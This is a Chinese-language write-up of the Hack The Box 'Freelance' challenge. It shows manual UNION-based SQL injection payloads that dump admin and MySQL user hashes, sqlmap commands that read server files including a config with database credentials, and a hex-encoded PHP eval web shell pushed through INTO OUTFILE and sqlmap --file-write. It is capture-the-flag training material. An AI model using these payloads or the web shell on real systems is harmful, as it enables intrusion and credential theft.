hack the box系列之Freelance

时间:2022-07-22
本文章向大家介绍hack the box系列之Freelance,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

本文作者:Twe1ve(贝塔安全实验室-核心成员)

邀请码获取及配置链接:

https://blog.csdn.net/Oavinci/article/details/90803233

发现如下页面,尝试xss等均无效

加个index.php,页面正常,index.php?id=1正常,测试没发现有注入

没什么突破点,跑一下目录,dirsearch有点慢,跑了十分钟暂时没什么有用的结果,上DirBuster看一下

跑了一会儿,发现portfolio.php页面,还是添加id=1,下边多了一行字,id=2,下边的字有所改变

简单测试 :

id=1 and 1=0 页面异常

id=1 and 1=1 回显id=1的页面

嗯,int型注入,且简单判断为3个字段,手工注入一下(好久没手工,练习一下)

http://docker.hackthebox.eu:30144/portfolio.php?id=-2  union select 1,database(),3
http://docker.hackthebox.eu:30144/portfolio.php?id=-2  union select 1,group_concat(table_name),3 from   information_schema.tables where table_schema=database()
portfolio,safeadmin
http://docker.hackthebox.eu:30144/portfolio.php?id=-2  union select 1,group_concat(column_name),3 from   information_schema.columns where table_name='safeadmin'
id,username,password,created_at
http://docker.hackthebox.eu:30144/portfolio.php?id=-2  union select 1,username,3  from safeadmin 
safeadm
http://docker.hackthebox.eu:30144/portfolio.php?id=-2  union select 1,password,3  from safeadmin 
$2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K
http://docker.hackthebox.eu:30144/portfolio.php?id=-2  union select 1,database(),3
freelancer
http://docker.hackthebox.eu:30144/portfolio.php?id=-2  union select 1, (SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),3  
---, 'root'@'localhost' YES,'db_user'@'%' -> NO
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,(SELECT+GROUP_CONCAT(user,0x202d3e20,file_priv,0x3c62723e)+FROM+mysql.user),3  
root -> Y·,db_user -> Y
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,(SELECT+GROUP_CONCAT(user,0x202d3e20,password)+FROM+mysql.user),3
root -> ,db_user -> *333B6293F0FD8FF1F9D218E941B68C2525425C4C - 3

说明当前数据库用户名为freelance,没有root权限,但是有读写操作权限

这里的密码解不开,emmmm,虽然有读写权限,但是没有绝对路径,有点难顶

前面手工猜路径的时候通过报错信息得知是apache,apache猜一下路径写shell,默认路径为/var/www/html/,但是没写成功(结合后边来看估计是对当前目录没权限)

既然是root权限,试试看读取一下index.php和当前的portfolio.php

python sqlmap.py -u "http://docker.hackthebox.eu:30336/portfolio.php?id=2" --file-read=/var/www/html/portfolio.php

index.php没什么实质性内容,可能是目录猜错了,菜的想哭~

没想到portfolio.php来了个惊喜~目录猜对了~

<?php
// Include config file
require_once "administrat/include/config.php";
?>
哟呵,config.php,同样是sqlmap读取config.php内容
<?php
$link = new mysqli("localhost", "db_user", "Str0ngP4ss", "freelancer");
// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>

有点可惜,这里的密码前面已经直接读取到了,所以没什么大的用处。试试能不能sqlmap直连写shell,全球ping得到真实ip之后

python sqlmap.py -d  "mysql://freelancer:Str0ngP4ss@139.59.202.58:3306/safeadmin"

结果失败~,猜测是不是端口更改的原因,nmap一扫,发现mysql服务没有开启(或者没有对外开放)

但是我们还有前面爆破的路径,访问一下

administrat/include/config.php -----没有内容,权限不够

administrat/include -------还是没用内容

administrat/ ----------有了!一个登录界面!!!

竟然给了这么奇葩的后台路径,怪不得爆破不到!!!

尝试直接写shell:

http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,0x3c3f706870206576616c28245f504f53545b27636d64275d293b203f3e,3  into outfile '/var/www/html/administrat/tw.php'

但,没能成功上传:

python sqlmap.py -u http://docker.hackthebox.eu:30796/portfolio.php?id=1  --file-write "C:UsersAdministratorDesktopc99.php" --file-dest "var/www/html/administrat/tw.php" -v 1

直接sqlmap传shell也失败

分析一波原因:

[1]magic_quotes_gpc()=on , 因为其他两个基本条件[1.1]有文件读写权限、[1.2]绝对路径已知都满足了

[2]马儿传上去被杀-------结果发现不是马儿的问题,根本不能写入任何东西~

所以在尝试写shell的时候不要着急,先验证一下是否能够成功写入

http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,tw-penetst,3  into outfile '/var/www/html/administrat/tw.txt' --

还是不能访问。通过file-read也读取不到

emmmm,走到这一步,我严重怀疑freelancer时候又读写权限,再次验证

http://docker.hackthebox.eu:30883/portfolio.php?id=1 and  (select count(*) from mysql.user) > 0 ----页面正常,说明有可读权限
http://docker.hackthebox.eu:30883/portfolio.php?id=1 and (select count(file_priv) from mysql.user) >0  --页面正常,说明有load_file和into outfile权限

可,,,,,,,,,,,,,为什么就是写不了shell,菜哭了~

暂时放下,回到后台这边来,正准备大展身手的时候,发现,发现,发现。。。。。。。。

密码解不开啊啊啊啊啊啊啊啊啊啊啊啊啊啊

跟进一下administrat/

在panel.php中发现flag:HTB{s4ff_3_1_w33b_fr4__l33nc_3}

遇到的一些问题:

http://docker.hackthebox.eu:30796/portfolio.php?id=-2  union select 1,(SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),3

,'root'@'localhost' -> YES

,'db_user'@'%' -> NO

http://docker.hackthebox.eu:30796/portfolio.php?id=-2  union select 1,database(),3

freelancer

http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,(SELECT+GROUP_CONCAT(user,0x202d3e20,file_priv,0x3c62723e)+FROM+mysql.user),3

root -> Y

,db_user -> Y

sqlmap --is-dba --->true

python sqlmap.py -u http://docker.hackthebox.eu:30883/portfolio.php?id=1 --users

[*] 'db_user'@'%'

[*] 'root'@'localhost'

直接读取user,password:

http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,(SELECT+GROUP_CONCAT(user,0x202d3e20,password)+FROM+mysql.user),3

root -> ,db_user -> *333B6293F0FD8FF1F9D218E941B68C2525425C4C

问题[1]:当前数据库是user_db还是freelancer:db_user'@'% --->代表引用当前数据库用户,即freelancer

问题[2]:是否freelancer具有root权限 -->否,说明当前数据库存在两个用户,root用户和freelancer,root用户有root权限,freelancer则没有root权限,但对文件有读写的权限~

问题[[3]:直接读取的user有两个,root、freelancer。password属于哪一个 ?---user_db,也就是freelancer